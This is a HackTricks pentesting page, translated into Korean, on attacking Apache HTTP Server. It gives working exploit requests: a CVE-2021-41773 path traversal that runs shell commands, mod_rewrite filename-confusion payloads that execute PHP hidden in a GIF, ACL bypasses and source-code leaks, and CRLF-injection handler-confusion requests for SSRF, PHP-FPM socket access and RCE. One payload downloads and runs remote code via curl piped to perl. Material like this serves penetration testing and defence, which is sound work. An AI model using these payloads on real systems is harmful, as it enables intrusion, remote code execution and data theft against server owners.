hacktricks/network-services-pentesting/pentesting-web/apache.md

15 KiB
Raw Blame History

Apache

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

실행 가능한 PHP 확장

어떤 확장이 Apache 서버를 실행하고 있는지 확인하십시오. 이를 검색하려면 다음을 실행할 수 있습니다:

grep -R -B1 "httpd-php" /etc/apache2

또한, 이 구성을 찾을 수 있는 몇 가지 장소는:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

{% code overflow="wrap" %}

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

{% endcode %}

혼란 공격

이러한 유형의 공격은 오렌지의 블로그 게시물에서 소개되고 문서화되었습니다 그리고 다음은 요약입니다. "혼란" 공격은 기본적으로 Apache를 생성하는 수십 개의 모듈이 완벽하게 동기화되지 않는 방식을 악용하며, 이로 인해 일부 모듈이 예상치 못한 데이터를 수정하게 되면 이후 모듈에서 취약점이 발생할 수 있습니다.

파일 이름 혼란

잘림

**mod_rewrite**는 r->filename의 내용을 문자 ? 이후로 잘라냅니다 (modules/mappers/mod_rewrite.c#L4141). 이는 대부분의 모듈이 r->filename을 URL로 처리하기 때문에 완전히 잘못된 것은 아닙니다. 그러나 다른 경우에는 이것이 파일 경로로 처리되어 문제가 발생할 수 있습니다.

  • 경로 잘림

다음 규칙 예제와 같이 mod_rewrite를 악용하여 파일 시스템 내의 다른 파일에 접근할 수 있으며, 예상 경로의 마지막 부분을 제거하고 단순히 ?를 추가할 수 있습니다:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • 오해를 일으키는 RewriteFlag 할당

다음 리라이트 규칙에서 URL이 .php로 끝나는 한, php로 처리되고 실행됩니다. 따라서 ? 문자 뒤에 .php로 끝나는 URL을 보내면서 경로에 악성 php 코드가 포함된 다른 유형의 파일(예: 이미지)을 로드하는 것이 가능합니다:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL 우회

사용자가 접근할 수 없어야 하는 파일에 접근할 수 있는 가능성이 있으며, 접근이 거부되어야 하는 구성에서도 가능합니다:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

이는 기본적으로 PHP-FPM이 .php로 끝나는 URL을 수신하기 때문입니다. 예를 들어 http://server/admin.php%3Fooo.php와 같이, PHP-FPM은 ? 문자 이후의 모든 것을 제거하므로, 이전 규칙이 이를 금지했더라도 /admin.php를 로드할 수 있게 됩니다.

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Apache에 대한 재미있는 사실은 이전의 재작성 과정이 documentRoot와 root에서 파일에 접근하려고 시도한다는 것입니다. 따라서 https://server/abouth.html에 대한 요청은 파일 시스템에서 /var/www/html/about.html/about.html에서 파일을 확인합니다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있습니다.

서버 측 소스 코드 노출

  • CGI 소스 코드 노출

끝에 %3F를 추가하는 것만으로도 cgi 모듈의 소스 코드를 유출할 수 있습니다:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • PHP 소스 코드 노출

서버에 여러 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이를 악용하여 파일 시스템을 탐색하고 php 코드를 유출할 수 있습니다:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

로컬 가젯 조작

이전 공격의 주요 문제는 기본적으로 대부분의 파일 시스템에 대한 접근이 거부된다는 것입니다. 이는 Apache HTTP Server의 구성 템플릿에서 확인할 수 있습니다:

<Directory />
AllowOverride None
Require all denied
</Directory>

그러나 Debian/Ubuntu 운영 체제는 기본적으로 /usr/share를 허용합니다:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

따라서 이러한 배포판에서 /usr/share 내부에 위치한 파일을 악용할 수 있습니다.

정보 유출을 위한 로컬 가젯

  • websocketd가 포함된 Apache HTTP Server는 **/usr/share/doc/websocketd/examples/php/**에 있는 dump-env.php 스크립트를 노출시켜 민감한 환경 변수를 유출할 수 있습니다.
  • Nginx 또는 Jetty가 있는 서버는 기본 웹 루트 아래에 위치한 민감한 웹 애플리케이션 정보를 노출할 수 있습니다 (예: web.xml):
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

XSS를 위한 로컬 가젯

  • LibreOffice가 설치된 Ubuntu Desktop에서 도움말 파일의 언어 전환 기능을 악용하면 **교차 사이트 스크립팅 (XSS)**이 발생할 수 있습니다. /usr/share/libreoffice/help/help.html에서 URL을 조작하면 악성 페이지나 이전 버전으로 리디렉션될 수 있습니다 unsafe RewriteRule을 통해.

LFI를 위한 로컬 가젯

  • PHP 또는 JpGraph 또는 jQuery-jFeed와 같은 특정 프론트엔드 패키지가 설치된 경우, 이들의 파일을 악용하여 /etc/passwd와 같은 민감한 파일을 읽을 수 있습니다:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

SSRF를 위한 로컬 가젯

  • MagpieRSS의 magpie_debug.php/usr/share/php/magpierss/scripts/magpie_debug.php에서 활용하면 SSRF 취약점을 쉽게 생성할 수 있으며, 이는 추가적인 공격을 위한 게이트웨이를 제공합니다.

RCE를 위한 로컬 가젯

  • **원격 코드 실행 (RCE)**의 기회는 방대하며, 취약한 설치(예: 구식 PHPUnit 또는 phpLiteAdmin)가 있습니다. 이러한 것들은 임의의 코드를 실행하는 데 악용될 수 있으며, 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다.

로컬 가젯에서의 탈옥

설치된 소프트웨어가 생성한 심볼릭 링크를 따라 허용된 폴더에서 탈옥하는 것도 가능합니다. 예를 들어:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

또한, 심볼릭 링크를 악용하여 Redmine에서 RCE를 얻는 것이 가능했습니다.

핸들러 혼란

이 공격은 AddHandlerAddType 지시어 간의 기능 중복을 악용하며, 두 지시어 모두 PHP 처리를 활성화하는 데 사용될 수 있습니다. 원래 이 지시어들은 서버의 내부 구조에서 서로 다른 필드(r->handlerr->content_type)에 영향을 미쳤습니다. 그러나 레거시 코드로 인해 Apache는 특정 조건에서 이 지시어들을 서로 교환하여 처리하며, 이전이 설정되고 후자가 설정되지 않은 경우 r->content_typer->handler로 변환합니다.

또한, Apache HTTP Server(server/config.c#L420)에서 ap_run_handler()를 실행하기 전에 r->handler가 비어 있으면 서버는 r->content_type을 핸들러로 사용합니다, 효과적으로 AddTypeAddHandler를 동일하게 만듭니다.

PHP 소스 코드 유출을 위한 핸들러 덮어쓰기

이 발표에서는 클라이언트가 보낸 잘못된 Content-Length가 Apache가 실수로 PHP 소스 코드를 반환하게 만드는 취약점이 소개되었습니다. 이는 ModSecurity와 Apache Portable Runtime (APR)에서의 오류 처리 문제로 인해 발생했으며, 이중 응답이 r->content_typetext/html로 덮어쓰게 됩니다.
ModSecurity가 반환 값을 제대로 처리하지 않기 때문에 PHP 코드를 반환하고 해석하지 않습니다.

XXXX를 위한 핸들러 덮어쓰기

TODO: Orange는 아직 이 취약점을 공개하지 않았습니다.

임의 핸들러 호출

공격자가 서버 응답에서 Content-Type 헤더를 제어할 수 있다면 임의 모듈 핸들러를 호출할 수 있습니다. 그러나 공격자가 이를 제어하는 시점에서 요청의 대부분의 과정은 이미 완료됩니다. 그러나 Location 헤더를 악용하여 요청 프로세스를 재시작하는 것이 가능합니다. 왜냐하면 returned Status가 200이고 Location 헤더가 /로 시작하면 응답이 서버 측 리디렉션으로 처리되어야 하기 때문입니다.

RFC 3875 (CGI에 대한 명세)에서 섹션 6.2.2는 로컬 리디렉션 응답 동작을 정의합니다:

CGI 스크립트는 로컬 리소스에 대한 URI 경로와 쿼리 문자열(local-pathquery)을 Location 헤더 필드에 반환할 수 있습니다. 이는 서버에 지정된 경로를 사용하여 요청을 재처리해야 함을 나타냅니다.

따라서 이 공격을 수행하기 위해서는 다음 중 하나의 취약점이 필요합니다:

  • CGI 응답 헤더에서 CRLF 주입
  • 응답 헤더에 대한 완전한 제어가 있는 SSRF

정보 유출을 위한 임의 핸들러

예를 들어 /server-status는 로컬에서만 접근 가능해야 합니다:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Content-Typeserver-status로 설정하고 Location 헤더를 /로 시작하도록 설정하면 접근할 수 있습니다.

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

임의 핸들러를 통한 전체 SSRF

mod_proxy로 리디렉션하여 모든 URL의 모든 프로토콜에 접근:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

그러나 X-Forwarded-For 헤더가 추가되어 클라우드 메타데이터 엔드포인트에 대한 접근을 차단합니다.

로컬 유닉스 도메인 소켓에 접근하기 위한 임의 핸들러

PHP-FPM의 로컬 유닉스 도메인 소켓에 접근하여 /tmp/에 위치한 PHP 백도어를 실행합니다:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

임의 핸들러를 통한 RCE

공식 PHP Docker 이미지에는 PEAR(Pearcmd.php)가 포함되어 있으며, 이는 RCE를 얻기 위해 악용될 수 있는 명령줄 PHP 패키지 관리 도구입니다:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Check Docker PHP LFI Summary, written by Phith0n for the details of this technique.

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}